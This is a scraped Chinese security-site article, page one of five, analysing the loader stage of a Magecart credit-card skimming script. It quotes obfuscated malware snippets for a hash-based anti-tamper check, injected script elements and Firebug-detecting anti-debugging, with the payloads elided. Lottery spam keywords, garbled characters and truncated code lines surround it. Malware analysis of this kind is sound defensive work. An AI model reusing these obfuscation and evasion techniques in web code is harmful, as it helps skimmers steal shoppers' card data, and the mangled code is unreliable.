手机上怎么买彩票双色球 微信上有人推荐买彩票 能合买彩票的平台 夫妻买彩票狂中30亿 买彩票心态 买彩票就买大乐透开奖结果 哪个平台买彩票安全吗 买彩票有买一个号的吗 怎么看走势图买彩票 如何在电脑上买彩票 美国几岁可以买彩票? 福彩工作人员买彩票 彩客网买彩票 能在微信上买彩票吗 怎么买彩票容易中

深入分析感染各网站的信用卡侧录脚本¡ª¡ªMagecart£¨下£©

来源£º本站整理 作者£º佚名 时间£º2019-04-10 TAG£º 我要投稿

第2阶段£º分析加载器
第2阶段是从一个名为hh的函数开始的¡£该函数有一个参数£¬并会通过某种形式计算其哈希值£¬以根据输入获得唯一的输出£¬具体如下所示¡£
function hh(text) {
    if (text.length == 0) return 0;
    var hash = 0;
    for (var i = 0; i
第1阶段的任务是在一个名为ffj的函数中进行的¡£在哈希函数hh之后的第一行代码中£¬实例化了2个新变量£¨分别名为crc和body£©¡£body的值等于与ffj匹配后的正则表达式的返回值¡£该正则表达式匹配所有不是a到z¡¢A到Z£¬0到9或短划线的字符£¬具体代码如下所示¡£
var body = window.ffj.toString().replace(/[^a-zA-Z0-9\-"]+/g, "");
var crc = body.match(/z9ogkswp6146oodog3d9jb([\w\d\-]+)"/g)[0].replace("z9ogkswp6146oodog3d9jb", "");
body = hh(body.replace("z9ogkswp6146oodog3d9jb" + crc, "z9ogkswp6146oodog3d9jb")) == crc ? 1 : window["ub8"]("");;
变量crc被设置为从正文中删除字符串z9ogkswp6146oodog3d9jb¡£然后将主体设置为相应的哈希值¡£如果两个哈希值相等£¬则返回值true¡£如果不相等£¬则清除窗口对象内的字段ub8¡£由于该字段存放的是Magecart脚本£¬这相当于从页面中删除恶意代码¡£
如果安全分析人员修改了脚本£¬则哈希值与硬编码就无法匹配£¬从而导致从页面中删除脚本¡£
在脚本的下一部分中£¬将创建一个新元素£¬混淆后的代码如下所示¡£
var divf = document["create" + String.fromCharCode(69) + "lem" + "" + String.fromCharCode(101) + "nt"]("Hs2ct" ["replace"](/[\>H\Vf]iUcNa!3tUwilosn;Sy6tge6p" ["replace"](/[gl3\]By6VN\[u\!wUK\;\>s\+]/g, "");
divf["i" + "nne" + (72 > 35 ? "\x72" : "\x69") + "HTML"] = atob("[obfuscated-base64-code]"["replace"](/[\/\[\-\\;\&\_\(\)\+\*\!\]\~\`q6]/g,""));
document[""+""+String.fromCharCode(98)+"ody"]["appen"+(64>35?"\x64":"\x5c")+"C"+"hi"+(87>20?"\x6c":"\x66")+"d"](divf);
在对代码进行反混淆处理后£¬这一步可以在浏览器的控制台来完成£¬我们可以轻松阅读相关的代码了¡£
var divf = document["createElement"]("script");
divf["id"] = "verificationStep";
divf["innerHTML"] = "[base64-code]";
document["body"]["appendChild"](divf);
创建一个名为divf的新脚本元素¡£为该元素指定一个ID£¬然后使用innerHTML函数设置脚本的内容¡£其中£¬atob函数的作用是解码base64字符串¡£要将解码的内容写入控制台£¬可以使用下面的脚本¡£
console.log(Buffer.from("[base64-value]", 'base64').toString());
解码后的脚本包含更多用于阻挠对其进行分析的方法¡£如果Firebug窗口打开£¬则状态将被设置为on¡£这些代码是作为Base64字符串嵌入的¡£由于它不需要在解码后考率如何规避检测£¬所以它没有进行混淆处理¡£
function checkHandler() {
         if (window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized) {
                  setStatus('on');
                  return;
         }
        ///[...]
}
如果状态设置为on£¬则清空控制台¡£此外£¬调整窗口大小将调用checkHandler函数£¬该函数也回将状态设置为on£¬具体代码如下所示¡£
if (!options.once) {
         setInterval(checkHandler, delay);
         window.addEventListener('resize', checkHandler);
} else {
         checkHandler();
}
该脚本的下一部分存储在名为divy的变量中¡£到目前为止£¬各种重要的脚本都是存储在名为div*的变量中£¬其中星号为通配符¡£由于字母f已经被使用£¬所以£¬在这部分中使用了字母y¡£
这里采用的混淆方法与前面的一样£¬这里就不再详细解释¡£
var divy = document["cr"+String.fromCharCode(101)+"at"+"eE"+String.fromCharCode(108)+"ement"]("xs-cXrmi
26?"\x64":"\x5a")+""] ="&bjr~o#w4s5e9rT_yem][email protected]&s=>izoZn"["replace"](/[j\~3Z\=m5z\#y\]9p\@4\>\&T6]/g,"");
divy["i"+String.fromCharCode(110)+""+""+String.fromCharCode(110)+"erHTML"] ="zsje[Et9UIzDn7t[eMrzvYOa&7l>(&f#uBnYHcMt1iZo4nHX(k)U{GcNEo-n!s+o-l=Oe8.)6N;/c=oMnFs/o6l_KeP.6iQn`1f&oA(g2'MC!o4nms`oDlTeA RhwU9aLjs% /cXlhe\=YR7\[\!\#LAmZ1GFNEVhK92\-\%z84g\+TqXDMUkHOQ6\0?"\x6f":"\x6a")+"dy"]["appen"+(64>19?"\x64":"\x5b")+"C"+"hi"+(82>18?"\x6c":"\x65")+"d"](divy);
反混淆代码表明了该脚本的真实意图£º使用appendChild方法向该页面添加另一段Javascript代码¡£该文件的中的代码用于清空控制台¡£这里£¬脚本作者是通过将ID和写入控制台的文本强加为浏览器扩展名来掩盖这一点的¡£

[1] [2] [3] [4] [5]  下一页

¡¾声明¡¿:黑吧安全网(http://www.rliwo.live)登载此?#26576;?#20110;传递更多信息之目的£¬并不代表本站赞同其观点?#25237;?#20854;真实性负责£¬仅适于网络安全技术爱好者学习研究使用£¬学习中请遵循国家相关法律法规¡£如有问题请联系我们£¬联系邮箱[email protected]£¬我们会在最短的时间内进行处理¡£
  • 最新更新
    • 相关阅读
      • 本类热门
      • 最近下载
      ¹ºÂò²ÊƱȨÍþÍøÖ·
      手机上怎么买彩票双色球 微信上有人推荐买彩票 能合买彩票的平台 夫妻买彩票狂中30亿 买彩票心态 买彩票就买大乐透开奖结果 哪个平台买彩票安全吗 买彩票有买一个号的吗 怎么看走势图买彩票 如何在电脑上买彩票 美国几岁可以买彩票? 福彩工作人员买彩票 彩客网买彩票 能在微信上买彩票吗 怎么买彩票容易中